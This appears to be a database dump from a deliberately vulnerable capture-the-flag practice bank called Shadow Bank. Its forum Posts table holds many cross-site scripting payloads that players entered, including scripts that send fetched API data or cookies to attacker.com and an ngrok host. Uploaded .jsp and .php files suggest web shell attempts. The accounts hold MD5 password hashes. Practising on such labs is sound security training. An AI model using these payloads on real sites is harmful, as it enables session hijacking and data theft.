Accounts

Acct_Id:int balance:decimal realname:varchar username:varchar passhash:char salt:varchar hasClaimedFreeStock:tinyint
83247638 2330049591.50 The Shadow shadow a326311e36651f79b0dcd4dcda70228e abc123 1
83247639 5405.57 Dark Trader dt a441649fbaf4e42c513a4572f3db7e1e abc123 0
83247640 28107.25 John Q. Spookypants pants 4b8f105f370310ddc137d141d350cf12 as807135%# 0
83247641 1000.78 Irvin G. Noriega bither 0d107d09f5bbe40cade3de5c71e9e9b7 0
83247642 1222.23 Almeda C. Katz peappend b0f5b5df7fa2bb54e046d4287a0757ca 0
83247643 0.17 Tiger tiger 827ccb0eea8a706c4c34a16891f84e7b 0
83247644 8783.93 Maria D. Zepeda boots 5ebe2294ecd0e0f08eab7690d2a6ee69 0
83247645 1000000.00 Arnold T'Poodle arnold cc03e747a6afbbcbf8be7668acfebee5 0
83247646 10001533.55 Test User test addd03df13dc513f55ac3baa35fec7a5 0
83247647 0.00 Loan Officer loans hahanopassword 0
83247648 0.00 Blaise de Vigenere viggy nopass 0

Currencies

Currency_Id:int currentPrice:decimal pastPrice:decimal name:varchar
1 53.00 54.00 Shadowcoin
2 37.00 13.00 leetcoin
3 100.00 91.00 Bytecoin
4 3.00 4.00 Cryptocoin
5 64.00 64.00 Base64coin
6 10.00 10.00 Darkcoin
7 11.00 13.00 Edgycoin
8 14.00 13.00 Dogecoin
9 13.00 37.00 Blipcoin
10 1.00 100.00 hipstercoin

CurrencyTransactions

Acct_Id:int Currency_Id:int date:datetime quantity:decimal price:decimal
83247640 1 2017-10-03 00:00:00 2.50 20.00
83247640 1 2021-01-18 00:00:00 5.00 26.00
83247640 1 2019-09-29 00:00:00 5.00 25.00
83247640 6 2017-02-02 00:00:00 20.00 13.00
83247640 7 2020-01-18 00:00:00 20.00 13.00
83247640 2 2020-04-11 00:00:00 20.00 11.00
83247640 2 2016-09-27 00:00:00 -12.00 12.00
83247640 5 2019-01-27 00:00:00 13.00 37.00
83247640 1 2017-07-11 00:00:00 -0.50 24.00
83247638 1 2017-07-28 00:00:00 1.00 0.00
83247639 1 2020-04-22 00:00:00 1.00 0.00
83247640 1 2020-07-16 00:00:00 1.00 0.00
83247641 1 2020-05-11 00:00:00 1.00 0.00
83247642 1 2016-09-17 00:00:00 1.00 0.00
83247643 1 2018-03-27 00:00:00 1.00 0.00
83247644 1 2017-09-21 00:00:00 1.00 0.00
83247645 1 2017-02-18 00:00:00 1.00 0.00
83247646 1 2021-05-25 00:00:00 1.00 0.00
83247647 1 2017-03-31 00:00:00 1.00 0.00
83247648 1 2017-01-09 00:00:00 1.00 0.00
83247638 10 2025-02-20 06:32:37 -10.00 53.00
83247638 1 2025-02-20 06:33:28 -1.00 1000.00
83247640 1 2025-02-20 17:56:52 -1.00 36.00
83247638 5 2025-02-20 21:14:50 100.00 64.00
83247638 3 2025-02-20 21:16:23 10.00 100.00
83247638 6 2025-02-20 22:04:16 -3.00 10.00

LoanRequests

Req_Id:int requester:int status:enum filename:varchar
1 83247641 APPROVED request1.txt
2 83247638 APPROVED sus.pdf
3 83247638 APPROVED sus.jsp
4 83247638 APPROVED sus.jsp
5 83247638 APPROVED sus.php
6 83247638 APPROVED sus.php
7 83247638 PENDING Screenshot 2025-01-07 at 1.24.33 AM.png
8 83247640 PENDING Screenshot 2025-01-07 at 1.24.33 AM.png
9 83247646 PENDING Screenshot 2024-10-28 at 5.24.23 PM.png
10 83247646 APPROVED Screenshot 2025-02-02 at 12.06.51 AM.png

Posts

postId:int parentId:int text:varchar postTime:datetime userId:int staffPost:tinyint
1 -1 CONFIDENTIAL TO SHADOW BANK EXECUTIVES: As part of your benefits package, you are entitled to 50 free shares from our partner, Legitimate Internet Enterprise. You can claim your stock <a href="getFreeStock">here</a>. 2021-07-06 19:30:55 83247638 1
2 1 Does anyone know my credit card number? I need to buy some catnip online. 2021-07-06 19:30:55 83247640 0
3 1 Your number is 4567 8543 3333 2222. 2021-07-06 19:30:55 83247638 1
4 1 Thanks! 2021-07-06 19:30:55 83247640 0
5 2 What is your favorite type of fish? Mine are: salmon, trout, herring, and tuna. 2021-07-06 19:30:55 83247639 0
6 2 haha salmon sux loser 2021-07-06 19:30:55 83247643 0
7 3 meow meow meow meow meow 2021-07-06 19:30:55 83247644 0
8 3 MEOW! 2021-07-06 19:30:55 83247640 0
9 4 kph flx fvob rvzvqho aymq le wre dotgv. qw ozsbmg jzsu-vdwfvvl, vkp xywxjsx: jblow mk pdg giig oryk ttdzd eel d jcirb pdyc kmhws, wf akh qicb wklx zb rxrlk br ep ximdwph nqwk cij xhfe. gymvktvv xxvd, wym ehree, zdwsii blpthcg, dv dlv llg ysk iw dwp bvrz hlvbkhc mk erxwh cqnh elv vdpp: lfehypv, zb rqwc xzlqyiu i olexcm zloii. krpp, mka sopejmg vz jrz, wkzyx pw dwmtm, dqo wym zhyx fv. zrfpu grx eict ph, apvivh, hlzkk zlc z wxjsx kw jr qvfu khci? kpdw oigmqgd e xwrg oirt rq hlvzh bzy niqw es xmw wz, wrqg wsi tiw. l oseb pxnl tiuh hlvzh— vlmu iolni. kphq tx uwhvyx diwwpv nplfs arg brf kf, adlo xym fde. —wf trqr ej q jhe wfuhzsiim, dotgv iggph ra dq pbgtdqlxzwq. rs, cfcuh dyim wr os kpdw, dezl wkp grb, li jsl wqoj artn ozrx mqrfky. iolni wmow elrb wktw twxoo rfb eh oieqhg, ds jph wcmvl dqzxymu tfijblry. ayiw vzvk wi spsgth otzv ierfx ymuh? tr kpdw omimfwtse, bkh nek adlo, ardlqr mka ulrlk xdz cslvg, otzva d klxkmu: dyh zv wklx uquhnxzwq, zlzzvj wsi fbkhc tre, olgij i pdcgy pdup. zzalw pmkphu jsl tlnp: xymbup ffbk plh. scw l oseb zdyx kw jr lqfvj plh gmrswi, rtlfp vvuduviu. wk, bzy tiqw sicx wklx, jilg elv kdw: hiim dow qrl khci. zu pdo. cfcuh xeu. prz os pwx nysn qp plh? jilg lpzkh. bzy dcvw mi, jilg elv kdw, zv pwx zzyclqw semm frxi ymuh. /dlrlrzmees/fkpwyquh 2021-07-06 19:30:55 83247648 0
10 2 <option><style></option></select><img src=x onerror=alert(1)></style> 2025-02-18 15:27:12 83247646 0
11 2 <script src="https://ajax.googleapis.com/ajax/libs/jquery/1.11.1/jquery.min.js"></script> 2025-02-18 15:27:54 83247646 0
12 4 <script> fetch('/shadowBankAPI') .then(r => r.text()) .then(d => location='https://attacker.com/?stolen='+btoa(d)) </script> 2025-02-18 17:16:23 83247638 0
13 2 <script> fetch('/shadowBankAPI', { credentials: 'include' }) .then(r => r.text()) .then(d => { location.href='location.href='https://abc123.ngrok.io/?stolen='+btoa(d)' }) .catch(e => console.error(e)) </script> 2025-02-18 18:19:24 83247638 0
14 2 <img src=x onerror="fetch('/shadowBankAPI').then(d=>location='https://attacker.com/?stolen='+btoa(d))"> 2025-02-18 18:57:16 83247638 0
15 2 <img src=x onerror="fetch('/shadowBankAPI').then(d=>location='https://attacker.com/?stolen='+btoa(d))"> 2025-02-18 18:57:16 83247638 0
16 2 <p><style onload=alert() x=</p> 2025-02-18 19:53:40 83247638 0
17 2 $.get('http://sakurity.com/jqueryxss') 2025-02-18 19:56:33 83247638 0
18 2 <style><style /><img src=x onerror=alert(1)> 2025-02-18 19:57:46 83247638 0
19 2 2025-02-18 19:58:27 83247638 0
20 2 <svg/onload="window.name='alert(1)';eval(window.name)"> 2025-02-18 20:00:51 83247638 0
21 2 <div data-x="</div><img src=x onerror=alert(1)>"></div> 2025-02-18 20:01:02 83247638 0
22 2 cghyfjghcj 2025-02-18 20:03:25 83247638 0
23 2 jQuery.ajax({url: '//attacker.com', data: document.cookie}) 2025-02-18 20:05:36 83247638 0
24 1 echo "<input type=text value=" . esc_attr($_GET['username']) . ">"; 2025-02-18 20:17:16 83247638 0
25 1 "<input type=text value=" . esc_attr($_GET['username']) . "> 2025-02-18 20:17:24 83247638 0
26 1 <script><script>alert(1)</script> 2025-02-18 20:18:40 83247638 0
27 1 <scr<script>ipt>alert(1)</script> 2025-02-18 20:19:26 83247638 0
28 1 {% code title="Tag context" %} 2025-02-18 20:20:52 83247638 0
29 1 https://54-177-210-129-bank.vulnerablesites.net/?html=<script>alert(document.cookie)</script> 2025-02-18 20:21:46 83247638 0
30 1 <img src="src\x1b$@">text\x1b(B<img src="onerror=alert()//" 2025-02-18 20:24:23 83247638 0
31 1 ![The goodest boy](https://images.unsplash.com/the_good_boy.png) 2025-02-18 20:28:31 83247638 0
32 2 2025-02-19 15:46:18 83247638 0
33 2 sdf 2025-02-19 15:46:27 83247638 0
34 2 sdfsdf 2025-02-19 15:47:13 83247638 0
35 2 fgchjhdfghj 2025-02-19 15:51:20 83247638 0
36 2 fgchjhdfghj 2025-02-19 15:52:22 83247638 0
37 1 dfghjdghj 2025-02-19 15:53:11 83247638 0
38 1 holi;jkhjk; 2025-02-19 15:53:39 83247638 0
39 1 hjkl 2025-02-19 15:53:55 83247638 0
40 1 hjcdfkfhgjk 2025-02-19 15:55:08 83247638 0
41 1 hjcdfkfhgjk 2025-02-19 15:55:44 83247638 1
42 1 sfgh 2025-02-19 16:08:57 83247638 0
43 1 sfgh 2025-02-19 16:09:45 83247638 0
44 3 lol 2025-02-19 23:00:52 83247638 1
45 2 jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */onerror=alert('THM') )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert('THM')//>\x3e 2025-02-20 06:00:20 83247638 0
46 2 jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e 2025-02-20 06:08:22 83247638 0
47 1 test 2025-02-20 06:14:12 83247638 0
48 1 test 2025-02-20 06:14:28 83247638 0
49 2 asxqsdq 2025-02-20 06:36:39 83247638 1
50 2 dsc 2025-02-20 15:10:42 83247638 1
51 2 dwc 2025-02-20 15:15:12 83247638 0
52 2 2025-02-20 15:20:07 83247638 0
53 2 value={`test'"></textarea><script>alert('BIM');</script>`} 2025-02-20 15:20:28 83247638 0
54 2 < img onload="alert('xss')" href="/wrong-url" /> 2025-02-20 15:22:40 83247638 0
55 11 hi 2025-02-20 16:32:43 83247638 0
56 4 hi 2025-02-20 22:14:51 83247643 0

ResetQuestions

id:int movie:varchar pet:varchar maidenName:varchar
83247645 The Lord of the Rings Trilogy Sniffles Bales

SessionId

id:varchar
Shadow Bank Home

Last Solved

150 points

Challenge solved

Bypass loan approval with hidden form field

Flags 

Actions

Get hints >

Unsolved

4

Injection

Point range: 300 - 1000

Back to forum

Maria D. Zepeda posted at 7/6/21:
meow meow meow meow meow
John Q. Spookypants posted at 7/6/21:
MEOW!
Bank Official - The Shadow posted at 2/19/25:
lol a

StockTransactions

Acct_Id:int Stock_Id:int date:datetime quantity:decimal price:decimal
83247638 1 2017-09-15 00:00:00 45.00 20.22
83247638 1 2020-10-09 00:00:00 49.80 20.08
83247638 1 2018-08-04 00:00:00 48.95 20.43
83247638 1 2020-02-27 00:00:00 54.88 18.22
83247638 1 2017-11-02 00:00:00 62.23 16.07
83247638 1 2019-11-05 00:00:00 55.77 17.93
83247638 1 2018-01-08 00:00:00 57.24 17.47
83247638 1 2016-11-26 00:00:00 64.42 16.02
83247638 1 2020-02-10 00:00:00 53.02 18.86
83247638 1 2018-11-25 00:00:00 57.77 17.31
83247639 1 2018-06-06 00:00:00 1.00 1337.00
83247639 1 2019-08-07 00:00:00 1.00 1337.00
83247639 1 2020-12-01 00:00:00 1.00 1337.00
83247639 1 2021-06-20 00:00:00 1.00 1337.00
83247639 1 2017-12-22 00:00:00 1.00 1337.00
83247639 1 2017-05-16 00:00:00 1.00 1337.00
83247639 1 2019-11-26 00:00:00 1.00 1337.00
83247639 1 2017-08-20 00:00:00 1.00 1337.00
83247639 1 2019-01-22 00:00:00 1.00 1337.00
83247639 1 2017-01-31 00:00:00 1.00 1337.00
83247640 1 2020-07-10 00:00:00 48.95 20.43
83247640 1 2018-02-10 00:00:00 54.88 18.22
83247640 1 2020-12-11 00:00:00 62.23 16.07
83247640 2 2021-05-25 00:00:00 20.00 13.00
83247640 2 2016-09-27 00:00:00 12.00 12.00
83247640 3 2017-06-13 00:00:00 3.00 1337.00
83247640 1 2021-03-12 00:00:00 -0.50 24.00
83247641 4 2019-07-03 00:00:00 22.80 32.90
83247641 4 2018-06-12 00:00:00 23.79 31.54
83247641 4 2020-10-15 00:00:00 25.48 29.43
83247641 4 2020-08-08 00:00:00 23.00 31.78
83247641 4 2019-02-07 00:00:00 23.61 31.77
83247641 2 2020-07-02 00:00:00 1.35 553.93
83247641 2 2019-06-21 00:00:00 1.29 582.67
83247641 2 2019-09-18 00:00:00 1.32 566.07
83247641 2 2020-05-02 00:00:00 1.30 577.33
83247641 2 2020-04-24 00:00:00 1.32 568.27
83247644 4 2019-11-14 00:00:00 33.40 32.90
83247644 4 2020-06-05 00:00:00 31.71 31.54
83247644 4 2018-12-09 00:00:00 33.98 29.43
83247644 4 2019-01-19 00:00:00 31.47 31.78
83247644 4 2020-10-06 00:00:00 31.48 31.77
83247646 1 2025-02-18 15:13:19 -1.00 10000000.00
83247638 2 2025-02-18 19:32:23 -100.00 520.84
83247638 1 2025-02-18 19:48:54 -233.00 10000000.00
83247638 2 2025-02-19 22:51:12 50.00 520.84
83247638 1 2025-02-20 05:41:10 -100.00 17.91
83247638 2 2025-02-20 15:36:00 1.00 520.84
83247640 1 2025-02-20 17:56:09 -1.00 17.91
83247640 3 2025-02-20 17:56:29 -1.00 521.84
83247638 1 2025-02-20 22:01:43 -1.00 17.91
83247638 1 2025-02-20 22:03:06 -21.00 17.91

Stocks

Stock_Id:int currentPrice:decimal pastPrice:decimal name:varchar code:varchar
1 17.91 18.06 Canadian Advancement Technology CAT
2 520.84 511.17 Legitimate Internet Enterprise LIE
3 1337.00 1337.00 Hackers HAX
4 37.17 36.64 Fjord Engineering FNG
5 0.01 0.01 No Such Agency NSA
6 653.03 641.72 Delta Omega Golf DOG
7 169.10 182.05 People Around Wisconsin PAW
8 6.57 6.49 Formal Unicorn Racing FUR

Threads

threadId:int subject:varchar
1 Help, I lost my credit card number!
2 Favorite type of fish?
3 Meow
4 A riddle

Transactions

Trans_Id:int srcId:int dstId:int transDate:datetime amount:decimal
1 83247638 83247639 2021-07-06 19:30:55 400.00
2 83247639 83247640 2021-07-06 19:30:55 300.00
3 83247645 83247638 2021-07-06 19:30:55 300.00
4 83247645 83247639 2021-07-06 19:30:55 300.00
5 83247645 83247640 2021-07-06 19:30:55 300.00
6 83247645 83247641 2021-07-06 19:30:55 300.00
7 83247645 83247642 2021-07-06 19:30:55 300.00
8 83247645 83247643 2021-07-06 19:30:55 300.00
9 83247645 83247644 2021-07-06 19:30:55 300.00
10 83247645 83247645 2021-07-06 19:30:55 300.00
11 83247645 83247646 2021-07-06 19:30:55 300.00
12 83247638 83247639 2025-02-20 21:52:27 100.00
13 83247638 83247638 2025-02-20 21:52:47 100.00
14 83247638 83247638 2025-02-20 21:56:12 100.00
15 83247638 83247639 2025-02-20 21:56:49 100.00
16 83247638 83247638 2025-02-20 21:57:02 100.00
17 83247638 83247638 2025-02-20 21:57:34 1000000.00
18 83247638 83247642 2025-02-20 22:16:49 -10.00